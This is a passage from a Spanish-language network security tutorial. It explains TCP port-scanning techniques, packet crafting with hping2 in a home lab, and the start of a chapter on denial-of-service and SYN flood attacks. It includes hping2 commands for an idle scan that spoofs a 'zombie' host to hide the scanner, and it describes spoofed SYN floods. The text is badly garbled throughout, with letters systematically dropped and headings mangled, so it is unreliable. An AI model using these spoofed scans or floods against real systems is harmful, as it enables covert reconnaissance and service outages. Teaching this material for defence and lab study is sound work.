sstema IDS y e escaneo sera conocdo. Por otra parte, s usamos Steath scannng, podremos evtar
determonados sstemas IDS y sobrepasar certas regas de cortafuegos. Sn embargo, un
nconvenente de esta tcnca es que determnadas crcunstancas, suee proveer de fasos postvos,
por o que deberemos saber cmo nterpretar os resutados.
!ull TP onnection
S deseamos una fabdad de 100% en os resutados devuetos, sta es a tcnca que debemos
aprovechar, sempre tenendo en mente que es a que ms rastros de|a en e og de sstema remoto y
a ms senca de ftrar. S no nos mporta que nos detecten, ya sea porque se trata de un sstema a
que estemos hacendo una audtora, porque es un equpo de nuestra propedad o cuaquer otra
razn, sta tcnca es a ms efectva y rpda.
La tcnca de Fu TCP Connecton mpca abrr una conexn competa con e equpo remoto con e
modo de conexn norma, conocdo como t+ree5Ga) TP2EP +ands+a*e
8Q
4 En a fgura 1 podemos
ver e proceso evado a cabo para crear y estabecer a conexn. Se hace uso de os sguentes fags
para cear y estabecer a conexn: SYN, SYN/ACK, ACK.
29 Llamada en espaol Acuerdo de Tres Vas.
125
Incamente a mquna orgen (cente) enva un paquete con e fag 0TN actvado a a mquna
destno (servdor). E servdor responde con os fags 0TN2A? actvados, o que ndca que e puerto
a que nos hemos ntentado conectar se encuentra aberto. Despus de que e cente enva e A?
de confrmacn, se competa e Three-way TCP/IP handshake y a conexn es termnada por e
cente, vovendo a reazar e msmo proceso para e resto de os puertos que deseemos escanear.
En a fgura dos podemos aprecar o que sucedera s e puerto de servdor se encontrara cerrado.
Aqu, e servdor devueve un B0T2A?. E servdor nforma a cente que debe termnar a conexn
debdo a que e puerto se encuentra cerrado. sta tcnca es muy fc de dentfcar, ya que a
reazar una conexn competa, os ogs de sstema y un IDS o detectaran. Una vez detectado, un
cortafuegos boqueara e resto de as petcones.
,al7 O&en 0can <et+od
ste mtodo se ama Haf open porque e cente termna a conexn antes de que se haya
competado e proceso de ntercambo Three-way TCP/IP Handshake, por o que pasar nadvertdo a
os IDS basados en conexn, aunque es muy probabe que devueva fasos postvos.
0TN 0canning
sta tcnca es exactamente gua a Fu TCP conecton, excepto que en e tmo paso e envo de
ACK por parte de a mquna cente no se eva a cabo y en su ugar, e cente termna a conexn
medante e envo de un RST. En readad, es e sstema operatvo quen se toma a tarea de envar e
RST. En a fgura tres se esquematza este tpo de escaneo.
126
S en respuesta a nuestro SYN e servdor enva un SYN/ACK, nos est nformando que e puerto est
aberto. S o que enva es un RST/ACK, sgnfca que e puerto est cerrado.
sta tcnca es muy fc de dentfcar por un IDS, ya sea e Snort, TCPWrappers o IPLog. E hecho de
que ste mtodo haya sdo utzado para generar DoS (dena of servce - Denegacn de servcos
-que veremos ms adeante en este documento) SYN Food es un nconvenente ya que provoc que
muchos cortafuegos tengan regas especfcas para prevenr este tpo de escaneos. Medante sta
tcnca podemos reazar rpdos escaneos que puedan pasar nadvertdos a os IDS dbes, pero a
desventa|a es que debe ser e|ecutado con prvegos de admnstrador.
0tealt+ 0canning
sta tcnca se denomn as debdo a que permta evtar os sstemas de deteccn y ogeo de os
IDS. Hoy da, este tpo de escaneo tene que ver con agunas de as tcncas sguentes: uso de
determnados fags, tcncas de sobrepasar ftros, cortafuegos, routers, casua network traffc, etc.
0TN2A? 0canning
sta tcnca tene a caracterstca de emnar a prmera parte de Three-way TCP/IP Handshake. Se
enva e SYN/ACK y en funcn de a respuesta podremos saber e estado en que se encuentra e
puerto. E servdor termna a conexn pensando que se ha producdo agn tpo de fao en as
transaccones con este puerto, en e que no se ha producdo un SYN prevo.
En e caso de que e puerto se encontrase aberto, no recbramos nnguna respuesta por parte de
servdor. Hay que saber eer con detenmento este resutado, porque os fasos postvos en este tpo
de escaneo son muy probabes. La ausenca de respuesta puede deberse a agn tpo de ftrado, por
e|empo, de un cortafuegos de tpo stateess.
!EN 0canning
Desafortunadamente esta tcnca se aprovecha de una maa mpementacn de cdgo de os BSD,
que han usado muchos sstemas operatvos para construr su pa TCP/IP. En teora, cuando se enva
un paquete con e fag FIN actvo, un puerto cerrado responder con un RST, mentras que os puertos
abertos se quedarn "callados" (RFC 793, pp64). Vase a fgura 4.
127
En ste caso hay que menconar que os sstemas de Mcrosoft han decddo gnorar competamente
os estndares e mpementar o que a eos es ha parecdo me|or. De modo que sta tcnca, |unto
con XMAS scannng y Nu scannng no son vdas para sstemas e|ecutando Wn95/NT.
Por otra parte podemos aprovechar esta caracterstca para dentfcar s e sstema se trata de un
Wndows. S medante sta tcnca encontramos puertos abertos, sabremos que no se trata de un
sstema Wndows, pero s no encontramos nngn puerto aberto y por medo de un SYN scannng s
encontramos puertos abertos, entonces sabremos que se trata de un sstema Wndows. Exsten otros
sstemas que responden con un RST cuando e puerto est aberto, en vez de desechar e paquete
(que es o que e estndar dspone que debe hacerse). Agunos de estos sstemas son Csco, Soars,
BSDI, MVS e IRIX
sta tcnca tambn nos devueve fasos postvos por o que debemos nterpretar os resutados.
Cuaquer sstema de ftrado puede estar boqueando os RST de os puertos cerrados. Como
resutado obtendramos un escaneo errneo y deberemos apcar otras tcncas o ben, comparar os
resutados obtendos medante esta tcnca con os que obtenemos con otras dferentes como os
escaneos SYN o SYN/ACK.
A? 0canning
ste mtodo, utzando e programa Nmap con a opcn 5sA, se usa generamente para poder
averguar as regas de ftrado de os cortafuegos. Concretamente nos permte ndagar s e
cortafuegos es statefu o sencamente un sstema de ftrado smpe que boquea os paquetes SYN
entrantes.
En sta tcnca envamos un paquete ACK con un ID de secuenca aeatora a puerto especfcado.
Cuando recbmos paquetes con fags RST actvados os puertos son casfcados como "no filtrados",
mentras que s no recbmos nnguna respuesta o se nos enva un E<P Dnreac+able, se
casfcarn os puertos como "filtrados". Una caracterstca de Nmap y de este tpo de ftrado resde
en que os puertos que deberan aparecer como "no ftrados" no aparecen. So obtendremos
aqueos puertos que que hemos detectado como "ftrados".
Otra tcnca empeando e envo de ACK fue descrta utzando un bug
30
(error en software o
hardware) que exsta en a capa IP de os sstemas operatvos. Medante e envo de ACK, tenamos
dos tcncas para detectar e estado de os puertos atacados. E prmer mtodo mpca evauar e
campo TTL (Tme To Lve) de paquete, mentras que en e segundo debemos anazar e campo
WINDOW de ste. En ambos es mperatvo anazar os paquetes que recbamos con e fag RST
actvado.
En e prmer caso, un anss de a cabecera IP de os paquetes, para determnados sstemas
operatvos, nos descubre que e vaor de TTL de os paquetes que nos retorna un puerto aberto es
menor que e de TTL que se obtene como respuesta de puertos cerrados.
Esto se expca me|or con e e|empo seguente:
Packet 1: host XXX.XXX.XXX.XXX port 20:F:RST -> tt: 70 wn:0 => cosed
Packet 2: host XXX.XXX.XXX.XXX port 21:F:RST -> tt: 70 wn:0 => cosed
Packet 3: host XXX.XXX.XXX.XXX port 22:F:RST -> tt: 40 wn:0 => open
Packet 4: host XXX.XXX.XXX.XXX port 23:F:RST -> tt: 70 wn:0 => cosed
Vemos en e paquete de respuesta de puerto 22, e vaor TTL es menor que en os puertos que se
haan cerrados.
30En software, un bug es un error en la codificacin o en la lgica, que provoca el funcionamiento deficiente del programa o resultados
incorrectos.
128
En e segundo mtodo deberemos anazar e campo WINDOW de os paquetes devuetos. Cuaquer
vaor dferente de 0 ser sea de un puerto aberto. sto es vdo para determnadas versones
antguas de BSD (FreeBSD, OpenBSD) y UNIX (AIX, DGUX), pero en versones recentes ha sdo
parcheado y no puede ser utzado como mtodo de escaneo.
Un e|empo rea sera como sgue:
Packet 1: host XXX.XXX.XXX.XXX port 20:F:RST -> tt: 64 wn:0 => cosed
Packet 2: host XXX.XXX.XXX.XXX port 21:F:RST -> tt: 64 wn:0 => cosed
Packet 3: host XXX.XXX.XXX.XXX port 22:F:RST -> tt: 64 wn:512 => open
Packet 4: host XXX.XXX.XXX.XXX port 23:F:RST -> tt: 64 wn:0 => cosed
ste es dependente de sstema operatvo de a versn de ste, ya que en versones recentes este
bug ha sdo parchado y no puede empearse como mtodo de deteccn de puertos abertos o
cerrados.
NDLL 0canning
En ste mtodo de|amos nactvos todos os fags de paquete (ACK, FIN, RST, URG, SYN, PSH).
Cuando un paquete de sta case ega a un servdor, s e puerto se encuentra cerrado se generar
un RST por parte de servdor. Sn embargo, s e puerto se encuentra aberto, ste desechar e
paquete y no responder de nnguna manera. Esta forma de escaneo queda esquematzado en a
fgura 5.
Los estndares RFC no marcan nnguna case de respuesta especfca con respecto de este tpo de
paquetes por o que e escaneo es dependente de sstema operatvo que est sendo escudrado,
como sempre confrontando Wndow Vs. UNIX.
129
F<A0 0canning
sta tcnca es todo o contraro a a anteror y no tene nada que ver con a navdad. En ste mtodo
actvamos todos os fags presentes en a cabecera TCP (ACK, FIN, RST, URG, SYN, PSH). A gua que
en os casos anterores, sta tcnca es dependente de que a pa TCP/IP de equpo remoto est
basada en e cdgo BSD, por o que se mta a sstemas UNIX.
En ste proceso, cuando e servdor recbe un paquete con estas caracterstcas, s e puerto se
encuentra aberto, e kerne desechar e paquete, mentras que responder con un RST s e puerto
se encuentra cerrado. Todo o dems es gua a NULL scannng con respecto de a respuesta de
servdor.
EDLE 0canning
ste procedmento fue pubcado en Bugtraq hace ya agunos aos. Es a tcnca ms nteresante y
de gran utdad. Hay que tener dos cosas en mente: sempre se debe efectuar de manera adecuada y
tenemos que conocer a forma de nterpretar os resutados que se obtenen. E mtodo nos permte
escanear una mquna remota utzando paquetes "spoofeados" (es decr, con una dreccn IP
dferente de a nuestra) y una mquna zombe, que una computadora que se empea como
ntermedara para reazar ataques a una computadora vctma sn que ea tenga concenca de
procedmento.
La dea es que nuestra computadora no pueda ser detectada desde a mquna atacada. En e IDLE
scannng se usa una zombe para cuestones de escaneo en nuestra red oca propa. Para evar a
cabo este escaneo se aprovechara uno de os puntos dbes que se han descuberto a TCP/IP:
nmeros de secuenca IPID predecbes.
Los apsectos de TCP/IP bscos a tener en cuenta para evar a cabo ste escaneo son os sguentes:
1. Una mquna responde con un 0TN2A? a un SYN s e puerto se encuentra aberto.
2. Una mquna responde con un B0T a un SYN s e puerto se encuentra cerrado.
3. Una mquna responde con un RST a un 0TN2A?.
4. Una mquna no responde con nada a un RST.
5. Podemos conocer e nmero de paquetes que a mquna remota est envando medante e
campo IDIP de a cabecera IP.
Para expcar ste procedmento, chequemos a fgura 6.
130
En e paso uno debemos encontrar una mquna que no tenga mucho trfco y en a que podamos
controar as varacones de a secuenca EPED. Para eo podemos utzar a herramenta ,&ing8 y
comprobar a varacn de este vaor.
hpng2 - u1000 -p 80 -r -S -A zombe
HPING zombie (eth0 zombie): S set, 40 headers + 0 data bytes
60 bytes from zombie: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2ms
60 bytes from zombie: flags=RA seq=1 ttl=64 id=+1 win=0 time=75ms
60 bytes from zombie: flags=RA seq=2 ttl=64 id=+1 win=0 time=91ms
60 bytes from zombie: flags=RA seq=3 ttl=64 id=+1 win=0 time=90ms
60 bytes from zombie: flags=RA seq=4 ttl=64 id=+1 win=0 time=91ms
60 bytes from zombie: flags=RA seq=5 ttl=64 id=+1 win=0 time=87ms
Con a opcn 5r obtenemos e vaor reatvo de campo id, es decr, a dferenca entre e d anteror y
e nuevo d. Medante esta varacn podemos conocer s a mquna est envando mucho o poco
trfco. ste ser e vaor que nosotros utzaremos para reazar e escaneo.
En e sguente paso, una vez conocdo e d de a respuesta a SYN que hemos envado, ser envar
un SYN a a mquna destno, pero con a IP spoofeada a a mquna zombe. Teceamos:
hpng2 - -u1000 -p 22 -S -a zombe www.xxx.yyy.zzz
Envamos a a mquna destno paquetes SYN dcendo que somos a mquna zombe. S e puerto
estuvese aberto en a mquna destno, sta respondera a zombe con un 0TN2A?. E zombe, a
recbr un 0TN2A? que no se corresponde con un SYN prevo, enva un B0T. De sta forma, a envar
paquetes e zombe, e nmero de secuenca aumenta. S e puerto estuvese cerrado, a mquna
destno envara un RST a zombe. A tratarse de un RST, a mquna no responde de nnguna forma y
desecha e paquete.
131
En e paso 3, y tmo, se comprueba s e d de a mquna zombe se ha modfcado o no. Como
cuaquer mquna genera sufcente trfco como para que ste vaor vare frecuentemente, en vez
de tener en cuenta s e vaor d ha varado en una o dos undades, como se representa en a fgura 6
paso 1 y 2, o que haremos es anzar dos procesos: uno que enva SYN/ACK a a mquna zombe
(para controar a varacn de campo d) y otro que envar os SYN spoofeados a a mquna
destno. De esta forma podremos comprobar en tempo rea s a anzar e segundo proceso (paquetes
spoofeados, e vaor de d devueto por a mquna zombe vara o permanece dentro de unos
mtes).
Una buena opcn para asegurarnos de que esta varacn es consecuenca de nuestro envo de
paquetes, es envar una gran cantdad de paquetes, de esta manera, s vemos e vaor de d
presentar satos en a msma proporcn que e nmero de paquetes envado por segundo.
Para hacer pruebas es sugerbe que se ancen os sguentes procesos en dos termnaes dferentes.
Debemos adecuar os puertos segn a ntencn de escaneo:
Terminal 3 Terminal 8
hpng2 - -u10 -p 80 -r -S -A zombe hpng2 - -u10 -p 22 -S -A zombe www.xxx.yyy.zzz
Con e parmetro 5i controamos e tempo de espera entre e envo de cada paquete. En este caso,
envamos un paquete cada 10 mcrosegundos. Como e trfco generado va a ser muy abundante, s
e puerto 22 de a mquna www.xxx.yyy.zzz se encuentra aberto, envar e msmo nmero de
paquetes SYN/ACK a a mquna zombe, que responder con e msmo nmero de paquetes RST,
producndose un ncremento en e vaor de campo d que ser fcmente aprecabe.
132
Manipulacin de Paquetes con Hping2
E tradcona comando &ing ha servdo a nuestra comundad efcentemente, pero con e ncremento
de a segurdad, aunado a boqueo de a mayora de trfco ICMP en ambos extremos de a red, este
ve|o y cansado comando ha de|ado de ser necesaro, dado que ya no puede cumpr con a ms
mnma tarea admnstratva de redes. )emos de 5ubilarlo y traer a un nuevo chico al pueblo, dra
aguen. Es aqu donde entra en |uego a t herramenta hpng2 que eg para evar as capacdades
de png a nvees nunca antes sospechados.
A programa +&ing8 podemos consderaro como una herramenta anazadora y ensambadora de
paquetes TCP/IP con uso orentado a una consoa de comandos. Hpng2 no soo es capaz de envar
petcones ICMP echo, s no que tambn soporta os protocoos TCP, UDP, ICMP y RAW-IP. Posee un
modo traceroute mode, as como a capacdad de envar archvos entre un cana cuberto y muchas
otras caracterstcas.
Todos os campos de as cabeceras pueden ser modfcados y controados hacendo uso de a consoa
de comandos. Es necesaro eer y comprender cabamente os captuos en que detaamos os
protocoos IP, TCP y UDP para poder empear adecuadamente esta utera. Adems de usarse como
herramenta de segurdad, tene otras funcones entre as que se pueden menconar as sguentes:
Pruebas de cortafuegos
Escaneo avanzado de puertos
Exmen de red usando dferentes protocoos. Fragmentacones.
Traceroute avanzado ba|o protocoos especfcos
Audtora de pas TCP/IP
Aunque en otros apartados empeamos e hpng2, es aqu donde e vamos a sacar ms provecho
aprendendo a manpuar y fabrcar paquetes para testear sstemas remotos. Y con sstemas remotos
me refero a os equpos en nuestro aboratoro casero de red. Comenzaremos envando dferentes
tpos de paquetes TCP con dferentes |uegos de fags.
Hpng2 es reatvamente fc de nstaar en cuaquer sstema Unx o basado en Unx. Hay que
descargaro para WnXX o Lnux desde su pgna web ofca: http://www.hping.org/.
Una vez descargado, hay que nvocar os comandos confgure, make y make nsta para compar e
nstaar e programa respectvamente. Ya estando nstaado en e sstema, nos daremos cuenta que
hpng2 tene en su haber una nfndad de opcones que pueden verse teceando
-$man hpng2 o
-$hpng2 -hep
Obvamente, revsar todas as opcones de Hpng2 estara muy fuera de acance de este documento
por o que recomendo revsar os tutoraes que se encuentran en a pgna ofca de esta exceente
utera. Adems, puede revsarse y ba|ar en e msmo ugar e ,&ingK que es una versn me|orada.
Dtili/ando ,&ing8 &ara 7abricar &a-uetes TP
La fabrcacn de paquetes TCP es a conducta por defecto de esta utera. A especfcar os fags
TCP, un puerto destno y una dreccn IP ob|etvo se pueden fcmente construr os paquetes TCP. A
contnuacn veremos os fags representados en as opcones de hpng2 y sus accones:
133
Opcin Nombre Accin
-F fin Establece el flag FIN
-S syn Establece el flag SYN
-R rst Establece el flag RST
-P push Establece el flag PUSH
-A ack Establece el flag ACK
-U urg Establece el flag URG
-X xmas Establece el flag X unused (0x40)
-Y ymas Establece el flag Y unused (0x80)
Antes de comenzar a anzar paquetes por todo nuestro aboratoro de red, debemos notar que cuando
no se especfca un puerto destno en a mquna remota se anzar por defecto e 0. En caso de no
especfcar un puerto orgen e programa usar de manera aeatora un puerto de os efmeros e r
ncrementando e nmero desde ah. A msmo tempo, se recomenda abrr e programa tc&dum&
para ver os resutados. As msmo es recomendabe revsar os conceptos bscos de esta utera.
Pa-uete 50 =0TN>
E prmer paquete que vamos a envar es e -S SYN. La mquna atacante es a 192.168.0.105 y a
mquna ob|etvo es a 192.168.0.100.
Entrada ,&ing8:
~$ hping2 -S 192.168.0.100
HPING 192.168.0.100 (eth0 192.168.0.100): S set, 40 headers + 0 data bytes
len=46 ip=192.168.0.100 ttl=128 id=18414 sport=0 flags=RA seq=0 win=0 rtt=149.9 ms
len=46 ip=192.168.0.100 ttl=128 id=18416 sport=0 flags=RA seq=1 win=0 rtt=0.5 ms
len=46 ip=192.168.0.100 ttl=128 id=18417 sport=0 flags=RA seq=2 win=0 rtt=0.4 ms
len=46 ip=192.168.0.100 ttl=128 id=18418 sport=0 flags=RA seq=3 win=0 rtt=0.5 ms
len=46 ip=192.168.0.100 ttl=128 id=18420 sport=0 flags=RA seq=4 win=0 rtt=1.6 ms
--- 192.168.0.100 hping statistic ---
5 packets tramitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.4/30.6/149.9 ms
Besultados con el tc&dum&:
~$ tcpdump tcp -X -s 1514
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
14:19:22.506194 IP 192.168.0.105.2690 > 192.168.0.100.0: S 729051484:729051484(0) win 512
0x0000: 4500 0028 f5e2 0000 4006 02d0 c0a8 0069 E..( ....@......i
0x0010: c0a8 0064 0a82 0000 2b74 715c 00ee aed9 ...d....+tq\....
0x0020: 5002 0200 d4aa 0000 P.......
14:19:23.649879 IP 192.168.0.105.2691 > 192.168.0.100.0: S 1045497134:1045497134(0) win 512
0x0000: 4500 0028 09bb 0000 4006 eef7 c0a8 0069 E..( ....@......i
0x0010: c0a8 0064 0a83 0000 3e51 052e 34a4 7513 ...d....>Q..4.u.
0x0020: 5002 0200 340b 0000 P...4...
14:19:24.649886 IP 192.168.0.105.2692 > 192.168.0.100.0: S 734408221:734408221(0) win 512
0x0000: 4500 0028 79cb 0000 4006 7ee7 c0a8 0069 E..(y...@.~....i
0x0010: c0a8 0064 0a84 0000 2bc6 2e1d 1432 0224 ...d....+....2.$
0x0020: 5002 0200 b107 0000 P.......
134
Como vemos en e e|empo, hpng2 eg un puerto arbtraro que de nco fue e 2690, en ro|o, e hzo
ncrementos de 1 por cada teracn. En naran|a vemos que e puerto ob|etvo es 0 ya que no
especfcamos uno. La S, en azu nos ndca que e paquete eva e fag SYN. Adconamente, aunque
no se puseron en e texto de e|empo, se recberon 5 paquetes con e fag ACK desde 192.168.0.100.
Envar un paquete SYN es e prmer paso en e three-way TCP/IP handshake. E paso sguente es a
recepcn de paquete SYN/ACK de a computadora destno y, fnamente envar un paquete ACK para
competar e proceso.
E escaneo SYN (Sgoso) es uno de os ms comunes usados por os escaneadores de puertos.
Cuando e escaneo se usaba en sus ncos era consderado si*iloso, porque as conexones no se
regstraban en os ogs en caso de no competarse e three-way TCP/IP handshake. Esto ya no es as
dado que os IDS anzarn aertas cuando detectan un Syn Scan.
Pa-uete 5B =B0T>
E sguente paquete que envaremos es e -R Reset (RST). Como su nombre o ndca, este paquete
es utzado para resetear a conexn. La sntaxs es muy smar a a utzada en e anteror e|empo.
E nco cambo es coocar 5B en vez de -S.
E paquete RST se usa a menudo para e|ecutar o que se conoce como mapeo nverso. Esto sgnfca
que os paquetes RST son envados y a respuesta que se recba ndcar s exste un host o no. S
envamos un escaneo RST obtendremos una de dos opcones: no tendremos nnguna respuesta, o
que es ndcatvo de que e host puede estar vvo; o recbremos un mensa|e #"3! host unreachable
que nos adverte que e host no exste. Agunos IDS no regstran os paquetes o escaneos RST debdo
a a muttud de eos. Es por esta razn que os escaneos nversos son tan popuares.
Entrada ,&ing8:
~$ hping2 -R 192.168.0.100
HPING 192.168.0.100 (eth0 192.168.0.100): R set, 40 headers + 0 data bytes
--- 192.168.0.100 hping statistic ---
6 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Besultados con el tc&dum&:
~$ tcpdump tcp -X -s 1514
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
13:52:02.992694 IP 192.168.0.105.2894 > 192.168.0.100.0: R 843167096:843167096(0) win 512
0x0000: 4500 0028 8689 0000 4006 7229 c0a8 0069 E..(....@.r)...i
0x0010: c0a8 0064 0b4e 0000 3241 b578 14bc b5a8 ...d.N..2A.x....
0x0020: 5004 0200 6e56 0000 P...nV..
13:52:05.010133 IP 192.168.0.105.2895 > 192.168.0.100.0: R 1069416179:1069416179(0) win 512
0x0000: 4500 0028 f915 0000 4006 ff9c c0a8 0069 E..( ....@......i
0x0010: c0a8 0064 0b51 0000 3dea 4f66 641a 6926 ...d.Q..=.Ofd.i&
0x0020: 5004 0200 c5e0 0000 P.......
6 packets captured
6 packets received by filter
0 packets dropped by kernel
135
Pa-uete 5! =!EN>
E paquete FIN se usa para dos cosas, para cerrar una conexn estabecda y para conducr un
escaneo FIN. Cuando un puerto cerrado recbe un paquete con e fag FIN actvado, deber responder
con un RST. Sn embargo, un puerto aberto no debera hacer nada, es decr, gnorara e paquete. La
sntaxs sera como sgue:
~$ hping2 -F 192.168.0.100 -p 135
Mucha de a documentacn expca que este tpo escaneo no funcona debdo a parcheo entre otras
cosas. Sn embargo se ha probado en una mquna con Wn XP Profesona SP2 con todos os parches
de segurdad y con e cortafuegos desactvado. La opcn 5& ndca a hpng2 que se pondr un
nmero de puerto.
Pa-uetes E<P
Muchos de os programas png empean as petcones ICMP echo y esperan a que e echo responda
para retornar a probar a conectvdad. Hpng2 permte hacer as msmas pruebas utzando cuaquer
paquete IP, ncuyendo ICMP, UDP y TCP. Esto puede ser de ayuda, ya que hoy en da a mayora de
os routers boquean e ICMP. Hpng2 por defecto usar TCP, sn embargo, s deseamos envar un
escaneo ICMP, podremos hacero. Bscamente, a sntaxs es como sgue:
~$ hping2 -1 192.168.0.100
HPING 192.168.0.100 (eth0 192.168.0.100): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.0.100 ttl=128 id=27118 icmp_seq=0 rtt=14.9 ms
len=46 ip=192.168.0.100 ttl=128 id=27119 icmp_seq=1 rtt=0.5 ms
len=46 ip=192.168.0.100 ttl=128 id=27120 icmp_seq=2 rtt=0.5 ms
len=46 ip=192.168.0.100 ttl=128 id=27121 icmp_seq=3 rtt=1.5 ms
len=46 ip=192.168.0.100 ttl=128 id=27122 icmp_seq=4 rtt=0.9 ms
--- 192.168.0.100 hping statistic ---
5 packets tramitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.5/3.7/14.9 ms
En a sntaxs, e 53 sgnfca a modadad 1 y e ndca a hpng2 que enve paquetes ICMP.
Pa-uetes DDP
Igua que con e e|empo anteror, s deseamos envar un paquete UDP, puede hacerse ncuyendo e
operador 58 que e ndca a a utera que traba|e envando paquetes UDP. Los escaneos UDP con
hpng2 prueban ser tes cuando se sondean servcos como NETBIOS, NFS, DNS y NIS.
~$ hping2 -2 192.168.0.100
HPING 192.168.0.100 (eth0 192.168.0.100): udp mode set, 28 headers + 0 data bytes
ICMP Port Unreachable from ip=192.168.0.100 name=UNKNOWN
ICMP Port Unreachable from ip=192.168.0.100 name=UNKNOWN
ICMP Port Unreachable from ip=192.168.0.100 name=UNKNOWN
ICMP Port Unreachable from ip=192.168.0.100 name=UNKNOWN
ICMP Port Unreachable from ip=192.168.0.100 name=UNKNOWN
--- 192.168.0.100 hping statistic ---
5 packets tramitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
136
Escaneo 50 0TN ) Puertos Es&eci7icados
Ahora veremos e poder y a versatdad de hpng2. Vamos a drgr un paquete SYN a un puerto
especfcado, en este caso e 135. Esto requere ms swtches. Vamos a envar un paquete SYN (-S) a
a IP 192.168.0.100. Para especfcar e puerto de orgen en nuestra mquna por e que deseamos
que saga nuestro paquete, debemos especfcaro con a opcn 5s y e nmero de puerto.
Entrada ,&ing8:
~$ hping2 -S 192.168.0.100 -p 135
HPING 192.168.0.100 (eth0 192.168.0.100): S set, 40 headers + 0 data bytes
len=46 ip=192.168.0.100 ttl=128 DF id=28733 sport=135 flags=SA seq=0 win=16616 rtt=122.8 ms
len=46 ip=192.168.0.100 ttl=128 DF id=28734 sport=135 flags=SA seq=1 win=16616 rtt=11.7 ms
len=46 ip=192.168.0.100 ttl=128 DF id=28737 sport=135 flags=SA seq=2 win=16616 rtt=1.4 ms
len=46 ip=192.168.0.100 ttl=128 DF id=28738 sport=135 flags=SA seq=3 win=16616 rtt=1.5 ms
--- 192.168.0.100 hping statistic ---
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 1.4/34.3/122.8 ms
Besultados con el tc&dum&:
~$ tcpdump tcp -X -s 1514
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
16:09:12.059187 IP 192.168.0.105.1839 > 192.168.0.100.135: S 15960697:15960697(0) win 512
0x0000: 4500 0028 596b 0000 4006 9f47 c0a8 0069 E..( Yk..@..G...i
0x0010: c0a8 0064 072f 0087 00f3 8a79 3a64 1ef1 ...d./.....y:d..
0x0020: 5002 0200 3f4d 0000 P...?M..
16:09:12.061047 IP 192.168.0.100.135 > 192.168.0.105.1839: S 1298117721:1298117721(0) ack 15960698 win
16616 <mss 1460>
0x0000: 4500 002c 703d 4000 8006 0871 c0a8 0064 E..,p=@....q...d
0x0010: c0a8 0069 0087 072f 4d5f b459 00f3 8a7a ...i.../M_.Y...z
0x0020: 6012 40e8 4034 0000 0204 05b4 0000 `.@.@4........
16:09:12.069235 IP 192.168.0.105.1839 > 192.168.0.100.135: R 15960698:15960698(0) win 0
0x0000: 4500 0028 0000 4000 4006 b8b2 c0a8 0069 E..(..@.@......i
0x0010: c0a8 0064 072f 0087 00f3 8a7a 0000 0000 ...d./.....z....
0x0020: 5004 0000 9a9f 0000 P.......
Un puerto aberto se detecta por e paquete retornado 0A (en ro|o). Los puertos cerrados se
reconocen por os paquetes B. Recordemos e Three-way TCP/IP handshake. En este caso, a mquna
192.168.0.100 respond con un SYN-ACK y a mquna atacante contest con un RST para fnazar a
conexn.
137
Ataques de Denegacin de Servicio
Entroducci'n
Los mtodos de denegacn de servco (DoS) han adoptado os mecansmos de a dstrbucn para
poder evar a cabo ataques ms sofstcados y efcentes. En este captuo se descrbrn os ataques
que tenen como ob|etvo prmorda mpedr o negar e acceso a determnados servcos, como o son
web, correo y e acceso remoto o una denegacn de servco tota de sstema atacado.
Un ataque de DoS se caracterza porque e prncpa ob|etvo de atacante es evtar e acceso de os
usuaros a os recursos de sstema: nundando una red con trfco basura, hacendo ms entas as
conexones o boquendoas totamente, nterrumpendo a comuncacn entre dos mqunas,
boqueando e acceso de un determnado usuaro, etc. En otros tpos de ataques, e DoS es
smpemente e preudo de un ataque mayor con un ob|etvo dferente.
E uso egtmo o mtado de recursos de un sstema es otra forma de DoS. Por e|empo, s aguen
tene acceso a nuestro FTP y o utza para poner un servdor de Warez, puede egar a enar nuestro
dsco duro con consecuencas desastrosas para nosotros y para a e|ecucn norma de nuestros
servcos.
Ti&o de 0ervicios Atacados
Los ataques de DoS son muy varados y se ven afectados servcos muy dstntos de os que se
pueden nombrar: consumo de recursos mtados, destruccn o modfcacn de as confguracones o
ateracn de os componentes de red.
onsumo de Becursos Limitados
Aspectos fundamentaes para e buen funconamento de un equpo o de una red son e ancho de
banda de a red, a memora, dsco duro, tempo de CPU, etc.
Un mtodo comn de DoS consste en consumr e ancho de banda dsponbe, de forma que nade
pueda conectarse o que e servco se vea raentzado. Un ataque de este tpo es e SYN FLOOD (de
food: nundar).
0TN !LOOD: Este tpo de ataque se basa en a generacn de centos de petcones de conexn que
no egan a competarse hasta e fna, o que produce un consumo de recursos en e sstema atacado
que mpde cuaquer nueva conexn rea.
Cuando un cente trata de comuncarse con un servco de un determnado servdor, se produce e
tpco three-way TCP/IP handshake (ver fgura). Para que a comuncacn pueda evarse a cabo, este
proceso debe producrse por competo.
138
E probema aparece cuando e servdor enva e mensa|e con e SYN-ACK pero e cente no devueve
e ACK que debera fnazar e proceso prevo de comuncacn. En e SYN-FLOOD se tratara de
generar muchas de estas conexones a medas. E servdor reserva en memora una estructura de
datos descrbendo todas as conexones pendentes que restan por fnazarse, es decr, por recbr e
ACK fna de cente. Esta estructura de datos tene un tamao fnto, por o que podemos generar un
nmero sufcente de estas conexones a medas, con a fnadad de enar a estructura de datos.
Cuando hayamos consegudo enar a estructura de datos de a taba, e servdor no podr aceptar
nuevas petcones hasta que a taba vueva a dsponer de espaco bre. Este tpo de conexones
tenen un tmeout asocado, a partr de cua se emnarn de a taba y e servdor podr aceptar
conexones de nuevo.
Este tpo de ataque es fc de efectuar medante e uso de a tcnca de IP Spoofng. E atacante
enva un SYN a servdor banco pero con una dreccn IP faseada. De esta manera, e servdor
envar e correspondente SYN-ACK a a IP faseada que no responder a este mensa|e. As, e
servdor atacado reservar un espaco de memora por cada una de estas conexones hasta que se
ena a taba, por o que no puede aceptar nuevas conexones. Como as dreccones IP que hemos
envado no son as nuestras, este ataque podr reazarse conservando e anonmato.
Generamente, mentras no se genere trfco que sature e ancho de banda, as conexones que ya
